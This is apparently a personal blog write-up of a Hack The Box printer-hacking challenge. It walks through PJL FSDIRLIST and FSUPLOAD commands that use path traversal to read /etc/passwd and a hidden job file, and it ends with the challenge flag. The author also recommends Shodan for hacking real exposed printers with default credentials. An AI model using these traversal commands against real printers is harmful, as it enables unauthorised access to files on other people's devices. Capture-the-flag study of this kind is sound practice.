---
# System prepended metadata

title: PRINTER EXPLOITATION FROM HTB
tags: [Wander writteup]

---

Hello hackers am back again with printer exploitation, actually today i thought maybe I can share with you guys about printer hacking dispite i haven't write any post coz school is becoming really hot men and at the same time it sucks for sure. I was interested to see how printers are being hacked after listerning to one of the podcast from darknet diaries from my spofity, and  after moving around with HTB tracks I found a track which deals with printer hacking and i was interested to see how i can hack the printer, lets get started.


Hacking printer is quite easy coz in many organization you will find they are using default creds on the printers which is very risk on one side or the other, i remember two month back i was just moving online and decide to take a look at **shodan** and see if i can find any printers open online and i was like "**holy shit** there many printer out there open and there using default credentials men"

![Screenshot from 2024-02-08 23-10-48](https://hackmd.io/_uploads/r1IKH2zia.png)


With this challenge we were give just a printer port and an ip address 


# challenge description
```
My uncle isn't allowing me to print documents.He's off to vacation and I need a PIN to unlock this printer. 
All I found is a web server where this printer is managed from. 
Can you help me with this situation ?
```


With this challenge is that it seems that the printer was also accessible via a web server as the challenge descibe and seems that it does not allow to print anything until we have the pin to unlock,lets check it first copy the ip:port and paste it to the  browser and see what we get.

![Screenshot from 2024-02-08 23-17-54](https://hackmd.io/_uploads/ByOzw3fo6.png)


Upon moving around it seems that we have **job control** panel where it prompt something like command or something else

![Screenshot from 2024-02-08 23-20-00](https://hackmd.io/_uploads/ryscwhGi6.png)

# SOLUTION

if we take a close look you will observe that the nature of command being type here starts with "@PJL INFO ID"

where by 

```
PJL stands for print job language
```

[PJL REFERENCE](https://en.wikipedia.org/wiki/Printer_Job_Language)


![Screenshot from 2024-02-08 23-26-30](https://hackmd.io/_uploads/Hyhft3zjp.png)


so i started to type the command and see what I can get

```
command: @PJL INFO ID
```

![Screenshot from 2024-02-08 23-26-30](https://hackmd.io/_uploads/HJ6OKhMj6.png)

And we can see the OUTPUT 'HTB Printer'


But since i dont know much a PJL command i decide to google and see what i can get about PJL command 


NB: After googling much i found this articles here and decided to play with it and see what i can get

[PJL FILE SYSTEM](http://hacking-printers.net/wiki/index.php/File_system_access)


```
command: > @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535

The command above is used to list files
```

NOTE: At first if you input the command it gives you an error, the error means that it is not a backward slash(\\), it needs a forward slash(/)

![Screenshot from 2024-02-08 23-34-08](https://hackmd.io/_uploads/SJv1s3Mja.png)


Now lets make some small changes to the command we have from here

![Screenshot from 2024-02-08 23-35-51](https://hackmd.io/_uploads/rJtYs3zsp.png)


```
command: @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535
```

OUTPUT
![Screenshot from 2024-02-08 23-37-29](https://hackmd.io/_uploads/B1Taj3zi6.png)


# finding the flag
At first time i struggled finding the flag but let me make it simple here, there the flag is located at the home directory so we need to find the home directory here

```
command:@PJL FSDIRLIST NAME="0:/../" ENTRY=1 COUNT=65535
```

OUTPUT
![Screenshot from 2024-02-08 23-41-34](https://hackmd.io/_uploads/rJf232Mop.png)

lets get inside the home directory and see what we have here

```
command: @PJL FSDIRLIST NAME="0:/../home" ENTRY=1 COUNT=65535
```

OUTPUT
![Screenshot from 2024-02-08 23-43-52](https://hackmd.io/_uploads/HJWE6nfi6.png)

we get another directory lets get into it and see what we can see inside

```
command: @PJL FSDIRLIST NAME="0:/../home/default" ENTRY=1 COUNT=65535
```

OUTPUT
![Screenshot from 2024-02-08 23-45-48](https://hackmd.io/_uploads/HJGsT3GsT.png)

Now we get a file(**readyjob**) so here we cant use a FSDIRLIST we can use a command like FSUPLOAD command


PoC
lets try to get the content of /etc/passwd using the FSUPLOAD command

```
command:  @PJL FSUPLOAD NAME="0:/../../etc/passwd" OFFSET=0 SIZE=23
```

OUTPUT
![Screenshot from 2024-02-08 23-49-40](https://hackmd.io/_uploads/HyjFAnGiT.png)


As you can see it worked so we can use this to get the content of the readyjob coz its a file

```
command:@PJL FSUPLOAD NAME="0:/../home/default/readyjob" ENTRY=1 COUNT=65535
```
OUTPUT
![Screenshot from 2024-02-08 23-54-09](https://hackmd.io/_uploads/r1t9Jafj6.png)

```
flag: HTB{print_like_@_b@tm@n}
```

Really fun men with  printer, shodan.io can help with really world hacking printers Happy hacking

